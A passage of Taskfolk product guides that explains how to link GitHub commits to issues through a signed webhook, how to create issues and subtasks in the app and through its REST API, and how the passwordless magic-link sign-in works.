it only flows one way? Because it means you get a trail in both directions (issue to code, code to issue) without ever handing Taskfolk write access to your source. No OAuth GitHub App to install. No broad permission grant. No bot account that can push to main. It is a plain repo webhook you configure by hand, and Taskfolk only ever receives, verifies, and reads text. If that sounds unglamorous, good. Unglamorous is what you want holding a thread to your codebase. File one more fact away now: connection is per project, and a single repo can connect to several projects. Run a monorepo? Link it to your WEB project, your API project, and your MOBILE project separately. Each gets its own integration record and its own webhook secret. A commit only lands on an issue if that issue lives in the project whose integration received the push. ## Open the Integrations tab in Project Settings Everything starts in one place. Go to the project you want to link (we will use the demo **WEB** project throughout), open **Settings**, and click the **Integrations** tab. The direct path is `/w/[ws]/p/[proj]/settings?tab=integrations`. You will see a **GitHub** card headed "Auto-link commits to this project's issues." Below it, one line explains the mechanism: push commits with `#KEY-NUM` in the message and they show up on the issue page. Under that sits a **Repository** field with an `owner/name` placeholder and a "Format: owner/name" hint, plus a **Register repository** button. ![The Integrations tab in Project Settings showing the GitHub card headed 'Auto-link commits to this project's issues', the Repository field with an owner/name placeholder, and the Register repository button. This is where connecting GitHub to your project management tool begins.](/images/blog/how-to-connect-github-integrations-tab.webp) Two things worth stressing before you type anything. First, this is per project by design. Registering the repo on this card links commits to **WEB's** issues only. It does not connect the repo to the whole workspace, and it leaves your other projects untouched. Want the same repo feeding another project? Register it there too, separately. Second, you need the `project.edit_settings` permission to do this. A project member without settings rights will not see the register button at all. And registering is not silent: it writes an `audit_log` entry, so there is a record of who connected what and when. Revoking later does the same. That trail matters more than it looks, because a webhook is a door that accepts pushes from outside, and you want to know who opened it. ## Register the repo and grab the one-time webhook secret Type your repository as `owner/name`. For the demo, something like `your-org/web`. Click **Register repository**. The button flips to "Registering..." for a beat, then the screen changes. Taskfolk generates a fresh webhook secret and shows you a panel headed "Save this secret in GitHub now." Every value you are about to paste into GitHub is right here: | Field in GitHub | Value from Taskfolk | | --- | --- | | Payload URL | `https://taskfolk.ai/api/integrations/github/webhook` | | Content type | `application/json` | | Secret | the generated secret (copy button next to it) | | Events | "Just the push event." | Copy that secret now. I mean now, before you navigate away or a Slack ping steals your attention. Here is the part that bites people. The secret is shown **exactly once**. Taskfolk stores it encrypted at rest with AES-256-GCM and can never read it back to you. There is no "reveal secret" button. There is no "rotate" button. The panel says it plainly: "This secret is shown once. If you lose it, revoke this repository and register it again." That is not a nudge, it is the only recovery path. Lose the secret before it reaches GitHub and your fix is to revoke the repo and register fresh, which mints a brand new secret and means redoing the GitHub side. So the discipline is simple. Register, copy the secret, keep this tab open, and go set up the GitHub side in another tab before you touch anything here. Do not close the panel until GitHub is done and pinging green. ## Paste the webhook into GitHub (Taskfolk cannot do it for you) This half is manual, and there is no way around it. Taskfolk has no GitHub App install flow, so it cannot reach into your repo and create the webhook itself. You paste the values by hand. That is the same security tradeoff in a different coat: the price of Taskfolk never holding write access to your repo is that you do the plumbing. In GitHub, open the repository, go to **Settings**, then **Webhooks**, then **Add webhook**. Fill it in: 1. **Payload URL**: paste the `https://taskfolk.ai/api/integrations/github/webhook` value from Taskfolk. 2. **Content type**: set it to `application/json`. Not the default form-encoded option. The JSON one. 3. **Secret**: paste the secret you copied. 4. **Which events would you like to trigger this webhook?**: choose "Just the push event." Save it. What happens on Taskfolk's side when a delivery arrives is the reason that secret exists at all. Every webhook GitHub sends carries an `X-Hub-Signature-256` header, an HMAC-SHA256 of the payload signed with your secret. Taskfolk recomputes that signature using the stored secret and compares the two. If they do not match, or the header is missing, Taskfolk does nothing. No commit linked, no visible effect in the app. So if you fat-fingered the secret, the symptom is not a loud failure inside Taskfolk, it is commits quietly not appearing. That is the first thing to re-check when linking seems dead, and GitHub's own delivery log (more on it below) is where the mismatch shows up as a non-green response. Two useful confirmations. GitHub fires a `ping` event the moment you add a webhook, and Taskfolk answers it with a `pong`, so a green tick on that first delivery in GitHub's UI means the endpoint is reachable and responding. And any event other than push or release just returns HTTP 202 and gets ignored, so you cannot break anything by leaving extra events selected. They simply do nothing. If webhooks in general are new to you, the [webhooks explainer](/docs/how-to-use-webhooks) covers what they are and how signature verification protects you. ## Write commit messages that link (the #KEY-NUM rules) The wiring is done. Now the daily skill: writing commit messages that actually link. Most of the value lives here, and the rules are specific, so learn them once and they turn into muscle memory. There are exactly two accepted forms. **Form one: `#KEY-NUM` anywhere in the message.** Put a hash in front of the issue key and it links no matter where it sits. **Form two: a bare `KEY-NUM`, but only at the very start of the message.** No hash needed, as long as the key is the first thing in the message, followed by a `:`, a `-`, whitespace, or the end of the line. In real commits, both look like this: ```bash git commit -m "Fix summary tab crash #WEB-42" git commit -m "#WEB-42 fix the summary tab crash" git commit -m "WEB-12: add Timeline + Summary tab" git commit -m "WEB-42 wire up backlog ranking" ``` The keys themselves must be **uppercase, 2 to 6 characters**, matching the pattern `[A-Z][A-Z0-9]{1,5}`. Case is not forgiving, and position matters for the bare form. Here is what that means in practice: | Commit message | Links? | Why | | --- | --- | --- | | `WEB-12 wire up backlog ranking` | Yes | Bare key, at the start | | `web-12 wire up backlog ranking` | No | Lowercase, ignored | | `refactored web-12 handler` | No | Mid-message bare key, and lowercase on top | | `refactored #WEB-12 handler` | Yes | The hash rescues a mid-message reference | That last pair trips people constantly. Bare keys only fire at the start. The moment your reference sits in the middle of a sentence, you need the `#`. The whole decision fits in one picture: ```mermaid flowchart TD A[Issue key in a commit message] --> B{Starts with a hash?} B -- yes --> C[Links anywhere in the message] B -- no --> D{Very first thing in the message?} D -- yes --> E[Links] D -- no --> F[Ignored] ``` When in doubt, always write `#WEB-12`. It works everywhere, and there is no downside. The reference also has to resolve to a real, existing issue in the connected project. A `#WEB-9999` that does not exist is silently skipped, no error. And one commit can reference several issues at once: `Fix shared date parser #WEB-12 #WEB-42` lands on both tickets. Genuinely handy when a single change closes two things. If issue keys and how they are formed are still fuzzy, [how to create an issue](/docs/how-to-create-an-issue) covers the `KEY-NUM` structure from the ground up. ## See linked commits on the issue Here is the payoff. Push a commit that references `WEB-12`, then open that issue. On the issue detail page there is a **Linked commits** section. Each row shows: - The **7-character short SHA** as a button. Click it and you deep-link straight to that commit on GitHub, which is the whole reason you did any of this. - The **commit message** (the first line, truncated at 1000 characters if you write essays in your commits). - The **author name** from the push payload, or "unknown" if the payload did not carry one. - The **commit date**. - The **repo name** (the full `owner/name`). The same event also lands in the issue's **Activity** timeline as a "linked a commit" entry, carrying the same 7-char SHA deep-link and the repo name. So you get it in two places: the Linked commits section for the current state, and the activity feed for the chronological story of the issue. Two honest details. The author is the commit author's name and email straight from GitHub's push payload. It is **not** mapped to a workspace member, so do not expect a Taskfolk avatar or a clickable profile there, even when the committer is in your workspace. It is display text, nothing more. And the section caps at **50 rows** on the issue page. If an issue somehow piles up more than fifty linked commits, you are looking at the first fifty, and at that point the REST API (below) is the better tool. One thing you do not have to worry about: duplicates. Linking is idempotent. A unique index on the combination of issue, repo, and SHA means that if GitHub redelivers a webhook (which it does sometimes, when it thinks a delivery failed), you do not get the same commit twice. Push the same commit through twice and you still see one row. ## Manage or disconnect a connected repo Below the register form sits the list of repositories already connected to this project. Each row is plain: the repo in monospace, "Registered {date}", and a **Revoke** button. When nothing is connected yet, the list reads "No repositories registered yet." Revoking is how you disconnect. Click **Revoke** and you get a confirm prompt: "Stop accepting webhooks from {repo}?" Confirm it and Taskfolk deletes the integration. Pushes from that repo stop linking commits from that moment. The commits already linked stay put on their issues. Revoking does not scrub history, it just stops new links from forming. Like registering, revoking writes an `audit_log` entry and needs `project.edit_settings`. You can register the repo again later, and you get a fresh secret when you do, so you will re-enter the secret on the GitHub side (you can reuse the same GitHub webhook and just update its secret field). Now the honest limitation. There is **no last-delivery or webhook-activity indicator** in this UI. The list shows the repo name and the registered date, and that is all. A `last_webhook_at` column was considered and deferred, so you cannot glance here to see "last push received 3 minutes ago." To confirm deliveries are actually arriving and verifying, check GitHub's own webhook delivery log (Settings, Webhooks, your webhook, Recent Deliveries), where each delivery shows its response code. Green there, plus a linked commit on the issue, is your proof the loop is closed. ## Pull linked commits through the REST API The issue page is for humans. When you want linked commits for a script (a release-notes generator, an external status board, a dashboard), pull them through the public REST API instead. The endpoint is: ```http GET /v1/workspaces/{slug}/projects/{key}/issues/{KEY-N}/commits ``` It needs the `issues:read` scope on your API key, which you mint in the Developer console. Results come back ordered by committed date, newest first, with keyset pagination for issues that carry a long commit history. ![The Developer console Overview tab with the 'Build on Taskfolk' hero, 'Create an API key' button, and quickstart cards for the REST API, Node SDK, MCP server, and Skills. This is where the key for reading linked commits comes from.](/images/blog/how-to-use-the-rest-api-developer-overview.webp) A minimal call against `WEB-12` in the `taskfolk` workspace looks like this. The base URL is `https://taskfolk.ai/api`: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/commits" \ -H "Authorization: Bearer tfk_live_your_api_key" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/commits", { headers: { Authorization: "Bearer tfk_live_your_api_key" } }, ); const { data } = await res.json(); for (const c of data) { console.log(`${c.sha.slice(0, 7)} ${c.message} (${c.repo})`); } ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/commits", headers={"Authorization": "Bearer tfk_live_your_api_key"}, ) for c in res.json()["data"]: print(c["sha"][:7], c["message"], c["repo"]) ``` The response is the standard envelope, `data` plus `pagination`: ```json { "data": [ { "id": "01890a5c-...", "repo": "your-org/web", "sha": "abc1234def5678...", "message": "Fix summary tab crash #WEB-42", "url": "https://github.com/your-org/web/commit/abc1234...", "author": "Sara", "committed_at": "2026-07-14T09:12:00.000Z" } ], "pagination": { "next_cursor": null } } ``` You get back the same data the Linked commits section shows: SHA, message, author, commit date, repo, and the commit URL. That last field means your script can build "WEB-12 was fixed in abc1234, here is the diff" lines for a changelog without anyone opening the app, or feed a public status page that maps commits to closed tickets. Because it is the exact same underlying data, it never drifts from what a teammate sees on the issue. When `next_cursor` comes back non-null, pass it as the cursor on your next request to walk the rest of the history. For the full picture of authentication, scopes, and pagination, [how to use the REST API](/docs/how-to-use-the-rest-api) is the reference. ## What does not link (read this before you file a bug) This is the section that saves your afternoon. Every item below is a real boundary of the feature, stated plainly, so you stop expecting behavior that was never built. **Pull request references are not parsed.** There is no `pull_request` handler in the webhook receiver, full stop. Referencing `#WEB-42` in a PR title or a PR description does nothing on its own. Linking comes only from **commit message** text. Now, that text often arrives via a PR (merge a branch or push to it, and those commits carry their messages), so in practice PR-driven commits link fine. But it is always the commit message being read, never the PR object. If your `#WEB-42` lives only in the PR body and never in any commit message, it will not link. Put the key in the commit. **Branches are not tracked.** Taskfolk reads the push's ref only far enough to notice a tag push (for the separate release feature). It does not record or show which branch a commit came from, and it does not create branch links on the issue. The issue page shows commits. Not branches, not PRs. **Only the commit message is scanned.** Not the PR description, not PR comments, not some other field. Just the `commit.message` string. A key anywhere else is invisible to the linker. **Bare keys only work at the start.** Worth repeating, because it is the most common surprise: `WEB-42` with no hash links only when it is the very first thing in the message. Mid-message, you need `#WEB-42`. And keys must be uppercase, 2 to 6 characters. `web-42` is ignored, and so is anything shorter than 2 or longer than 6 characters after the letter. **Linking fires no notification.** This one shapes expectations. When a commit links to an issue, it creates a `commit_refs` row and a `commit_linked` activity entry, and that is all. The assignee is not emailed. The reporter is not pinged. There is no `@mention`. So do not push a commit expecting it to nudge whoever owns the ticket, because it will not. If someone needs to know, tell them, or comment on the issue and `@mention` them there. The [notifications guide](/docs/notifications-and-watching-issues) covers what actually does trigger a notification. **Release auto-ship is a different feature.** If you also select the release event, a tag push or a published GitHub release can auto-ship a matching planned release in Taskfolk (flip it to released and stamp the date, when the tag matches the version). That lives in the Releases feature. It is not commit-linking, and the two should stay separate in your head. Adding the release event changes nothing about how commit messages link to issues. **Secret scanning is a wholly separate thing.** Taskfolk runs a distinct GitHub secret-scanning partner receiver at a different endpoint. It handles leaked Taskfolk API keys (the `tfk_live_` kind): if GitHub detects one of your Taskfolk keys exposed in a public repo, it alerts that receiver, which auto-revokes the leaked key and emails the workspace owner. You do not turn it on per repo from the Integrations tab, and it does **not** scan your code for secrets. Do not confuse it with connecting a repo for commit links. They share the word "GitHub" and nothing else. That is the honest edge of the feature. Inbound-only, commit-message-driven, per project, no notifications, no PR or branch awareness. Narrow on purpose, and reliable because of it. Go open your WEB project's Integrations tab, register your repo, and put `#WEB-42` in your next commit. The link will be waiting on the issue when you get there. --- # How to create an issue URL: https://taskfolk.ai/docs/how-to-create-an-issue Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, Taskfolk, how-to Learn how to create an issue in Taskfolk three ways, pick the right type, fill the dialog, roll up to an epic, and make subtasks. With the real limits named. You have a bug to log before you forget it. You hit Create, and now there are four work types, a Details panel, an epic picker, and a button called "Draft with AI" staring back at you. You wanted to write down one sentence. Instead you are reading a form. Here is the thing: once you know which parts of that dialog matter and which you can skip, creating an issue in Taskfolk takes about ten seconds. This guide covers the whole path. Three ways to open the New issue dialog, how to pick the right type without agonizing over it, how to fill the fields so the issue is actually workable later, and the honest limits that trip people up (subtasks, empty columns, viewer roles). By the end you can file a clean issue fast and know why every field is there. I'll use the demo project the whole way through: a project keyed `WEB`, with a board whose columns run Backlog, To Do, In Progress, In Review, Done. Concrete beats abstract. ## What an issue is, and why the type is not just a label An issue is the smallest unit of trackable work in Taskfolk. A feature, a fix, a chore, a quarter-long initiative: each one becomes an issue with a stable key like `WEB-42` that stays put even if you rename the project later. Every issue has a type. Epic, story, task, or bug in the dialog (subtask is a special case, more on that in a minute). The type is not a color you pick for flavor. It changes real behavior: - It pre-fills a different Markdown description template, so a bug opens with a "steps to reproduce" scaffold and an epic opens with a "goal and scope" one. - It drives how work rolls up, since stories, tasks, and bugs can hang off an epic. - It feeds your reports, so an "open bugs" count actually counts bugs. Hold onto one fact up front, because it saves confusion later. The New issue dialog lets you create four types, not five. Task, Story, Bug, Epic. Subtask is deliberately absent from that selector, and there is a good reason we will get to. For now: subtasks are made somewhere else. ## How to create an issue: three ways to open the dialog There are three ways to open the New issue dialog, and each one wins in a different situation. ![The New issue dialog: work type tiles, Summary and Description with the markdown toolbar, Draft with AI, and the Details panel for status, priority, assignee, and parent epic.](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) The fastest is the keyboard. Press `c` anywhere inside a workspace and the dialog opens. This is the one to build muscle memory for. It fires from the board, the backlog, a report, wherever you happen to be. It is also polite about context: it is ignored while you are typing in an input, textarea, select, or any editable area, and ignored while you hold Cmd, Ctrl, or Alt. So you will not fire it mid-sentence while writing a comment. Tap `c` on an empty patch of the app and go. ![The keyboard shortcuts overlay in Taskfolk, which lists c as the shortcut that opens the New issue dialog from anywhere in a workspace.](/images/blog/keyboard-shortcuts-in-taskfolk-shortcuts-overlay.webp) Second is the yellow Create button in the topbar. Same result as `c`, and on desktop it shows the `c` hint right next to it so you pick up the shortcut without trying. Reach for the button when your hand is already on the mouse, or when you are new and do not trust yourself to remember the key. Third, on a board or list view, there is a "+ New task" button. This one can pre-scope the new issue to a specific place, which matters for board columns. We will come back to it. One permission note before you get comfortable. Creating an issue requires the `issue.create` permission, which owners, admins, and members have. Viewers do not. As a viewer you will not even see a Create button, and `c` does nothing. That is the role working as designed, not a bug (there is a FAQ on it below). When the dialog opens, read the layout once and you will never hunt again. It is two panels. The left, under "Set the basics," is where you describe the work: work type, summary, description. The right, the "Details" panel, is where you set metadata: status, priority, assignee, parent epic, labels. Basics left, details right. That split holds for the entire dialog. ## Picking a work type: Task, Story, Bug, or Epic At the top of the left panel is a "Work type" group of tiles. Task is selected by default, and honestly the default is usually right. But here is a practical rule for each so you choose on purpose instead of guessing. ```mermaid flowchart TD A[New work to file] --> B{Something broken?} B -->|yes| BUG[Bug] B -->|no| C{Framed from the user side?} C -->|yes| STORY[Story] C -->|no| D{Umbrella other issues roll up to?} D -->|yes| EPIC[Epic] D -->|no| TASK[Task] ``` **Task** is a discrete, concrete piece of work. "Add a rate limit to the login endpoint." "Update the pricing copy." If one person does the thing and then the thing is done, it is a task. This is your workhorse and your safe default. **Story** is user-facing behavior, framed from the user's side. "A signed-out visitor can preview a shared board." Product and design tend to think in stories, so if the work is defined by what a user can now do, reach for Story. **Bug** is something broken. Not a new feature, not a nice-to-have, an actual defect or regression. "Timeline + Summary tab loads blank on first paint." Filing it as a Bug instead of a Task is what keeps your triage views and bug counts honest, so resist the urge to log everything as a task. **Epic** is the big container. You do not do an epic directly; it is the umbrella other issues roll up to. "Q3 billing revamp." "Mobile onboarding." Create the epic, then attach the stories, tasks, and bugs beneath it. Epics let you see progress across a whole initiative instead of a scatter of tickets. Each tile carries its type icon and lights up in the brand color when active. Selecting a tile also swaps the Description field to that type's template. So if you pick Bug and then wonder why the description suddenly grew a "steps to reproduce" section, that is the template doing its job. Notice what is missing: Subtask. No fifth tile, on purpose. A subtask only makes sense underneath an existing parent, so it has no business in a dialog you can open from nowhere in particular. You make subtasks from the parent, which is coming up. ## Writing a summary and description someone can act on The Summary field is the only required field, and it is autofocused the moment the dialog opens, so you can start typing without clicking anything. It caps at 255 characters. That is plenty; if you are bumping the ceiling, your "summary" is trying to be a description. Write a specific title. This is the highest-leverage thing you can do for future-you and your teammates. "Timeline + Summary tab loads blank on first paint" tells anyone scanning the backlog exactly what is wrong and where. "timeline bug" tells them nothing, and guarantees someone reopens the ticket just to ask what you meant. A good summary answers "what" and ideally "where" in one line. The placeholder text ("Short summary of what to do.") is nudging you toward the same thing. Below that sits the Description, and it is the full Markdown editor, not a plain box. It supports `@` mentions to pull in a teammate and `#KEY-NUM` references to link another issue, both with autocomplete as you type. It arrives pre-filled with the template for whatever type you picked. Treat that template as scaffolding, not scripture. Keep the prompts that help, delete the ones that do not, write your real detail in between. The placeholder ("More detail. Markdown supported.") appears if you clear it out. Nobody is checking that you filled every heading the template handed you. One genuinely useful thing happens while you type the summary. Past 3 characters, a "Related issues" hint appears underneath, listing possible duplicates (each with its key, title, and status) as clickable links. This is advisory. It never blocks you from creating; it just gives you a moment to notice that `WEB-31` already tracks the same blank-timeline bug before you file `WEB-58` about it. If search happens to be unreachable, the hint simply does not appear, and creation works exactly the same. ## Setting status, priority, assignee, and labels in the Details panel The right-side Details panel is where you set everything about the issue that is not its text. **Status** is first, and it lists the project's actual board columns, not a fixed menu. For `WEB` that means Backlog, To Do, In Progress, In Review, Done. Because these are the project's own custom statuses, a different project can have a completely different set. New work usually starts in Backlog or To Do; pick where it honestly sits right now. ![The Board statuses card in project settings, where the per-project columns that the dialog's Status field lists are defined and reordered.](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) **Priority** defaults to Medium, which is sane. Bump it to High or drop it to Low only when you mean it. If every ticket is High, none of them are. **Assignee** is a multi-assignee picker, so more than one person can own an issue. Leaving it empty means unassigned, which is completely fine when you are filing something for the team to pick up at triage. Do not assign a name just to make the field look answered. **Labels** appear as toggle chips for whatever labels the project already has. Click to attach, click again to remove. If the project has none yet, you see "No labels are configured for this project yet." instead, which tells you labels have not been set up (that lives in project settings, not this dialog). One thing sits above all this in a specific case. If you opened the dialog workspace-wide (not from inside a single project's board) and the workspace has more than one project, you pick the Project first, through a searchable Combobox. Choose it, and the rest of the dialog (statuses, labels, custom fields) reshapes to match that project. On a single-project board the project is fixed and shown read-only, since there is nothing to choose. ## Rolling work up to an epic with the Parent epic picker If you picked any type other than Epic, the Details panel shows a "Parent epic" picker. This is how you say "this task belongs to that bigger initiative." Get the mental model right, because this is the thing people most often muddle. Stories, tasks, and bugs attach to an epic through the Parent epic field. Not through some generic parent-child relationship. Under the hood, Taskfolk keeps epic membership separate from the parent link that subtasks use, and the dialog reflects that split: the picker literally reads "Parent epic," and choosing one files your task under that epic for rollup and reporting. ```mermaid flowchart TD STORY[Story] -->|epic field| EPIC[Epic] TASK[Task] -->|epic field| EPIC BUG[Bug] -->|epic field| EPIC SUB[Subtask] -->|parent link| STORY ``` The picker adapts. If your work type is Epic, it is hidden entirely, because an epic does not roll up into another epic. If the project has no epics yet, it is disabled and reads "No epics yet," your cue to create an epic first when you want the grouping. The containment rules behind this are enforced on the server with plain-language messages, so if you ever break one through the API or an import, you see exactly why: | What you tried | Server message | |---|---| | A subtask with no parent | "Subtasks need a parent issue." | | A parent link on a story, task, or bug | "Only subtasks can have a parent. For stories under an epic, set epicId." | | A parent that is itself a subtask | "Parent cannot itself be a subtask." | | An epic nested under another epic | "An epic cannot be nested under another epic." | You do not need to memorize these. Internalize the one-liner: to put a story, task, or bug under an epic, use Parent epic, never a parent-child link. ## Scheduling, project fields, and the empty-column quick add Two sections in the dialog stay collapsed until you want them, which keeps the common case clean. Expand "Schedule and planning" to set dates and, when they exist, milestones and sprints. You always get Start date and Due date, and Taskfolk enforces the obvious constraint: start must fall on or before due. The Milestone and Sprint pickers appear only if the project actually has milestones or sprints set up. If it has neither, those fields are absent, which is correct behavior and not a missing feature. No point offering a sprint picker to a project that does not run sprints. If the project has custom fields, they show under "Project fields," filtered to the work type you chose. So a field that only applies to Bugs will not clutter the form while you file a Task. Any custom field marked required is validated before the issue can be created, so you cannot skip it by accident. Now the board shortcut, which is genuinely the fastest way to file work that belongs in a specific column. On the board, an empty column shows a "+ New task" button right inside it. Click it, and the dialog opens already scoped to that exact column: the new issue inherits the column's status and lands there instead of defaulting to Backlog. Say you are grooming your In Review column, it happens to be empty, and you realize a follow-up needs filing. The quick add drops the new issue straight into In Review. ![The WEB project's kanban board with its Backlog, To Do, In Progress, In Review, and Done columns, the surface the empty-column quick add files into.](/images/blog/how-to-use-a-kanban-board-overview.webp) The catch surprises people: this quick add shows up only in empty columns. A column that already holds cards shows the cards, not a "+ New task" button. So do not go hunting for it in a busy column. For those, use `c` or the topbar Create button and set the status by hand in the Details panel. ## Creating subtasks (the one place it works) Here is the part the New issue dialog quietly refuses to do, and where most of the confusion lives. You cannot create a subtask from the New issue dialog. You cannot create one with `c`. Subtask is not in the work-type selector, on purpose. A subtask only exists in relation to a specific parent, so Taskfolk makes you create it from that parent. Open any existing issue's detail page, say `WEB-1`, and find the Subtasks card. It has an inline "Add subtask" input. Type a title, press Enter, and the subtask is created under that issue. Press Escape to cancel if you change your mind. That is the whole interaction, and it takes a title and nothing else: no type picker, no priority, no status. The subtask inherits its parent automatically and starts life in the backlog. You can flesh it out later by opening it, but the fast path is title, Enter, done. ![The Subtasks card on issue WEB-1's detail page, with the inline "Add subtask" input, the done-over-total progress bar with percentage, and checkbox toggles. This is the only place subtasks are created, proving the rule that a subtask needs a parent.](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) The Subtasks card also earns its keep as a progress tracker. It shows a bar with done over total plus a percentage, and each subtask has a checkbox you tick to mark it done. So a parent story with five subtasks gives you an at-a-glance "3/5, 60%" without opening anything. This is exactly why the design forces subtasks to be born from a parent: a subtask with no parent is meaningless, and the progress rollup only works because the relationship is guaranteed. If you have been hunting for "Subtask" in the create dialog and getting annoyed, this is your answer. Open the parent, use the card. ## Faster repeat entry: Create another and Draft with AI If you are filing a batch, say you just walked out of planning with eight tasks to log, do not create-and-reopen eight times. Tick "Create another" before you hit Create. The dialog stays open after each issue and resets the parts that should change per issue: title, description, dates, labels, epic, milestone, sprint, and custom fields all clear. It keeps the parts that usually stay constant across a batch: type, project, status, priority, assignee. So you set "Task, WEB, To Do, Medium, unassigned" once, then just type title after title. Each create pops a small "Created WEB-51." toast so you know it landed, and you keep moving. The other accelerator is "Draft with AI," and it only shows up when AI is configured for the workspace. If you do not see it, that is why; it is not hidden behind a setting inside the dialog. When it is there, you type a plain-language prompt describing what you want, press Cmd/Ctrl+Enter, and it drafts the issue: title, description, type, priority, and any matching labels, all filled into the form. Read it, fix what it got wrong, then create. The important part: Draft with AI never creates the issue itself. It only fills the fields for your review. You are always the one who clicks Create. Think of it as a fast first draft for the times you know what you want but do not feel like typing it out. On a normal create (without "Create another"), Taskfolk takes you straight to the new issue's detail page at its key, so you land exactly where you would want to be to add subtasks, attach a file, or start a comment thread. ## The same create, from the API Everything the dialog collects maps to one endpoint on the public API, which is how scripts and AI agents file work. It is `POST /api/v1/workspaces/{slug}/projects/{key}/issues`, authenticated with an API key as a Bearer token, and it needs the `issues:write` scope. Only `type` and `title` are required; `epic` takes a `KEY-NUM` string, the same rollup rule as the Parent epic picker. ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Timeline + Summary tab loads blank on first paint", "priority": "high", "epic": "WEB-10" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Timeline + Summary tab loads blank on first paint", priority: "high", epic: "WEB-10", }), }, ); const { data } = await res.json(); // data.key is the new KEY-NUM ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "bug", "title": "Timeline + Summary tab loads blank on first paint", "priority": "high", "epic": "WEB-10", }, ) res.raise_for_status() print(res.json()["data"]["key"]) ``` A successful create returns `201` with the issue, including its freshly minted `key`. The containment table above is enforced here word for word, so a subtask without a `parent` or an epic nested under an epic comes back as a plain-language 400 rather than bad data. ## Common limits worth knowing before they surprise you None of these are gotchas so much as guardrails. Knowing them means you never fight the tool. - **Four types in the dialog, not five.** Task, Story, Bug, Epic. Want a subtask? Go to the parent issue's Subtasks card. Full stop. - **The per-column "+ New task" quick add lives only in empty columns.** Busy columns show cards instead, so use `c` or Create and set the status by hand. - **Viewers cannot create issues.** No Create button, no `c`, no empty-column CTA. That is the role working as intended; to file work you need at least member access. - **Draft with AI and the Milestone/Sprint pickers are conditional.** AI drafting shows only when the workspace has AI configured. Milestone and Sprint show only when the project has them. Their absence is information, not breakage. - **The Related issues duplicate hint is advisory.** It needs a title of 3 characters or more and a reachable search backend, and it will never stop you from filing a duplicate. It is a nudge, not a gate. - **Description templates are editable scaffolds, not enforced structure.** Delete every heading if you like. Nobody is checking that you filled the "acceptance criteria" section. The template exists to save you a blank page. That is the whole surface. Open the dialog three ways, pick from four types, write a summary future-you can act on, set the details, roll up to an epic when the work belongs to one, and make subtasks from the parent. Once the issue exists, the natural next steps are getting it onto the board and through triage. To go deeper there, read [how to use a kanban board](/docs/how-to-use-a-kanban-board) for the flow after creation, and [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) for letting the system route new issues for you. For why any of this is shaped the way it is, [what is agentic project management](/blog/what-is-agentic-project-management) and our take on [Taskfolk vs Jira](/vs/jira) both cover the reasoning. Ready to file your first one? Open your board and press `c`. --- # How to create your first workspace URL: https://taskfolk.ai/docs/how-to-create-your-first-workspace Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, how-to, issue tracking Getting started with a project management tool: sign in with a magic link (no password), create your first workspace and slug, and set a permanent project key. You decided to try a new project management tool, and the first screen asks for something you did not expect. No password. Just your email. That is the whole login form. If you have spent years typing passwords into every SaaS signup, this looks slightly wrong, like a door that got left open. It was not. Getting started with a project management tool usually means a registration form, a password you will forget, and a verification email on top. Taskfolk skips the first two. Here is exactly what happens next, and how to go from that empty email field to a real workspace with a real project in about five minutes. You are probably one of two people right now. A team lead who needs somewhere to put the work before the next sprint starts. Or a solo user who is tired of tracking tasks in a notes app. You both want the same thing: a place to track work that does not fight you on the way in. Good news. There are three real moves here. Sign in, create a workspace, create a project. Everything else is detail, and I will give you the detail so nothing surprises you. ## Why getting started with a project management tool trips people up Most tools make you earn your way to the actual product. You fill in a name, an email, a password, you confirm the password, you solve a captcha, you pick a plan, and only then do you see an empty board. By the time you get there your patience is gone. The first wall is almost always the account: registration and a password before you have seen a single feature. Taskfolk has no passwords. None. There is no password field anywhere in the product, and there is no separate "Sign up" page either. The first time you sign in with your email, your account gets created for you. That is the piece that trips people up. They go hunting for a registration form that does not exist. So before anything else, drop the assumption that you need to "make an account." You do not. You request a link, you click it, you are in. The three moves, in order: ```mermaid flowchart LR A[Sign in with a magic link] --> B[Name your workspace and claim its slug] B --> C[Create a project with a permanent key] C --> D[Your board] ``` Let me walk each one, including the parts that are easy to get wrong. ## Sign in with no password using a magic link Go to `/login`. You will see one field labeled "Your email" with the placeholder `you@example.com`, and a button that says "Email me a link." Below that, a small hint: "First time here? We will set you up automatically." That hint is doing real work. It is telling you there is no registration step. Type your email, click the button (it changes to "Sending…" while it works), and you are done with this screen. ![Taskfolk passwordless login form showing the 'Your email' field, the 'Email me a link' button, and the 'First time here? We will set you up automatically.' hint, proving there is no password step to get started.](/images/blog/how-to-create-your-first-workspace-login-email.webp) Here is what happens under the hood, because it is worth understanding once. The form posts your email to the auth endpoint: ```bash curl -X POST https://taskfolk.ai/api/auth/request \ -H "Content-Type: application/json" \ -d '{"email": "you@example.com"}' ``` The server mints a single-use token, 32 random bytes, and stores only a SHA-256 hash of it, so even someone reading the database cannot replay your link. That token gets a 15-minute time-to-live and lands in your inbox as a clickable link. In development the link is also printed to the server console, which is handy if you are running Taskfolk locally with no SMTP wired up. In production it just arrives in your email. One deliberate behavior worth calling out. The endpoint always returns the same response whether your email is known, unknown, or currently rate-limited: ```json { "ok": true } ``` That is enumeration resistance. Nobody can poke this form to discover which addresses have Taskfolk accounts, because the form gives away nothing. In practice it means you will never see a "no account found" error. There is no such thing here. If the email is valid, a link is on its way. If the email was never seen before, that same link creates your account when you click it. 